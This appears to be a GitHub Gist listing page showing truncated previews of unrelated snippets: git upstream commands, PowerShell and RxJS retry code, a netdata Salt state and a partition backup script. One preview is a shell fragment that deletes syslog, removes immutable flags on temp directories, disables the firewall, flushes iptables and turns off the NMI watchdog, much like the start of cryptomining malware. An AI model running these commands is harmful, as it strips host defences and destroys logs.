git clone [email protected]:YOUR-USERNAME/YOUR-FORKED-REPO.git
cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
git clone [email protected]:YOUR-USERNAME/YOUR-FORKED-REPO.git
cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
<# | |
This function can be used to pass a ScriptBlock (closure) to be executed and returned. | |
The operation retried a few times on failure, and if the maximum threshold is surpassed, the operation fails completely. | |
Params: | |
Command - The ScriptBlock to be executed | |
RetryDelay - Number (in seconds) to wait between retries | |
(default: 5) | |
MaxRetries - Number of times to retry before accepting failure |
import { TimeoutError, timer } from 'rxjs' | |
import { AjaxTimeoutError } from 'rxjs/ajax' | |
import { | |
delay, | |
filter, | |
flatMap, | |
repeatWhen, | |
retryWhen, | |
scan, | |
timeout, |
# Saltstate to install netdata + requirements, tries to update netdata every time this state is applied | |
# original by https://github.com/saivert: https://github.com/firehol/netdata/issues/798#issuecomment-242472276 | |
# modified to work on ubuntu 14.04 and 16.04 by https://github.com/peterrus | |
netdatarequisites: | |
pkg.installed: | |
- pkgs: | |
{% if grains['os'] == 'Gentoo' %} | |
- sys-devel/autoconf | |
- sys-devel/autoconf-archive |
/bin/sh | |
ulimit -n 65535 | |
rm -rf /var/log/syslog | |
chattr -iua /tmp/ | |
chattr -iua /var/tmp/ | |
ufw disable | |
iptables -F | |
echo "nope" >/tmp/log_rot | |
sudo sysctl kernel.nmi_watchdog=0 | |
echo '0' >/proc/sys/kernel/nmi_watchdog |
#!/bin/bash | |
BS=64M | |
ROOT_DEV=/dev/mmcblk0 | |
BOOTFS_BACKUP=${ROOT_DEV}p3 | |
BOOTFS_TARGET=${ROOT_DEV}p1 | |
ROOTFS_BACKUP=${ROOT_DEV}p2 | |
ROOTFS_TARGET=${ROOT_DEV}p4 | |
print_yellow() { | |
echo -e "\033[1;33m${1}\033[0m" |